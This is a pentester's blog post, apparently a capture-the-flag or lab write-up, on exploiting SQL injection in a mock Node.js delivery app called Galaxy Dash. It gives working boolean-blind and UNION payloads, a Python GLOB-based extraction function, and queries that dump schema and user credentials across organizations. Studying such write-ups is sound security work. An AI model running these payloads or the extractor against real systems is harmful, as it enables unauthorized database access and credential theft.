b1gb33f_blog

Pentesting and AppSec

View on GitHub

Banner

Welcome to the blog! I’m Shawn, a former manager and blue collar worker now employed in the world of offensive security. I’m hoping to share some of my journey and what I’ve learned along the way. I’m currently focused on web app pentesting and application security but constantly learning other areas of pentesting as well.


Connect with me

Linktree


Most Recent Post

GalaxyDash-005

March 01, 2026

Galaxy Dash is a Futurama-themed delivery app running on Node.js/Express.

After logging in and poking around, I noticed the bookings endpoint accepted a status filter parameter:

GET /api/bookings?status=out_for_delivery

A single quote caused a 500. Two single quotes returned 200. Classic.


Where sqlmap Fell Over

I threw sqlmap at it and it confirmed a boolean-based blind injection — but then immediately failed to fingerprint the database:

[CRITICAL] sqlmap was not able to fingerprint the back-end database management system
[WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 527 times

Out of 582 requests, 527 returned 500 errors. sqlmap’s fingerprinting and UNION confirmation queries rely on functions like IFNULL(), CONCAT(), and nested subqueries — all of which this app’s query layer rejected. Adding --dbms=sqlite, --no-cast, --flush-session narrowed it down but couldn’t fix the root problem: sqlmap’s payload templates didn’t match what this target would accept.

Time to go manual.


Fingerprinting the DB Without sqlmap

I started by figuring out which SQL operators actually worked. The injection escape was ') based on the payload sqlmap found, and boolean behavior was clear:

?status=delivered') AND 1=1-- -   →  200, len=683  (data)
?status=delivered') AND 1=2-- -   →  200, len=2    (empty)

Mapping the Constraint Surface

I spent time figuring out exactly what the injection context would tolerate:

Expression Result
1=1, 'a'='a'
Math (1+1=2)
Bitwise (1&1=1)
BETWEEN, LIKE, GLOB
CASE WHEN
Any function call ❌ 500
Subqueries (SELECT ...) ❌ 500
table.column dot notation ❌ 500
IN (list), IS NULL ❌ 500

No functions. No subqueries. No table prefixes. That rules out every standard blind extraction technique.


GLOB-Based Extraction (Phase 1)

GLOB in SQLite is case-sensitive and supports * wildcards, making it perfect for blind extraction without any function calls:

delivered') AND password GLOB 'a*'-- -   →  true/false
delivered') AND password GLOB 'ab*'-- -  →  true/false

I built a Python extractor around this:

def extract_glob(col, max_len=200):
    result = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@._!$#%^&*-+={}"
    for i in range(1, max_len + 1):
        found = False
        for c in charset:
            escaped = f'[{c}]' if c in ('*', '?', '[', ']') else c
            if is_true(f"{col} GLOB '{result + escaped}*'"):
                result += c
                found = True
                break
        if not found:
            break
    return result

First I needed to know which columns were in scope. Probing with column LIKE '%' revealed the query was a JOIN — booking fields and user fields were accessible without any table prefix:

status, cargo_description, delivery_date     ← bookings table
username, email, password, role              ← users table (joined)

Running the extractor got me the current user’s data quickly. But there was a catch — the app enforced org isolation at the application layer. The JWT’s organizationId was used to filter results after the query ran. Even OR 1=1 only returned my own org’s data.

I needed a different approach to reach other orgs.


The UNION Pivot (Phase 2)

I tested whether UNION worked at all:

')+AND+1%3d2+UNION+SELECT+'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'--+-

It worked — and better, the response was JSON with all the original column names, so I could see exactly what position mapped to what field. The query had 26 columns.

But when I tried putting a subquery into a UNION column:

UNION SELECT (SELECT tbl_name FROM sqlite_master LIMIT 1),'a',...-- -

500, The app was blocking parentheses in the SELECT list too.

The breakthrough came when I realized column references need a FROM clause — not a subquery:

')+AND+1%3d2+UNION+SELECT+tbl_name,'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'+FROM+sqlite_master--+-

200. Tables returned. No parentheses, no subquery, just SELECT col FROM table appended to the UNION. The app’s parser apparently only choked on nested SELECT statements, not top-level FROM clauses.


Dumping Everything

With UNION SELECT FROM working, the rest was straightforward:

-- Schema
')+AND+1=2+UNION+SELECT+sql,'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'+FROM+sqlite_master+WHERE+type='table'--+-

')+AND+1=2+UNION+SELECT+id,username,email,password,role,organization_id,'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'+FROM+users--+-

Tables found: bookings, delivery_notes, delivery_services, invoices, locations, organizations, users.

The users dump returned credentials for every org — including the flag stored in the password field of users from orgs 1–3:

slurms@slurm.galaxy    : bug{xd49PjPmcVK9O9YhAatT21hOR6jVBdA4}
walt@momcorp.galaxy    : bug{xd49PjPmcVK9O9YhAatT21hOR6jVBdA4}
bchow_admin@...        : bug{xd49PjPmcVK9O9YhAatT21hOR6jVBdA4}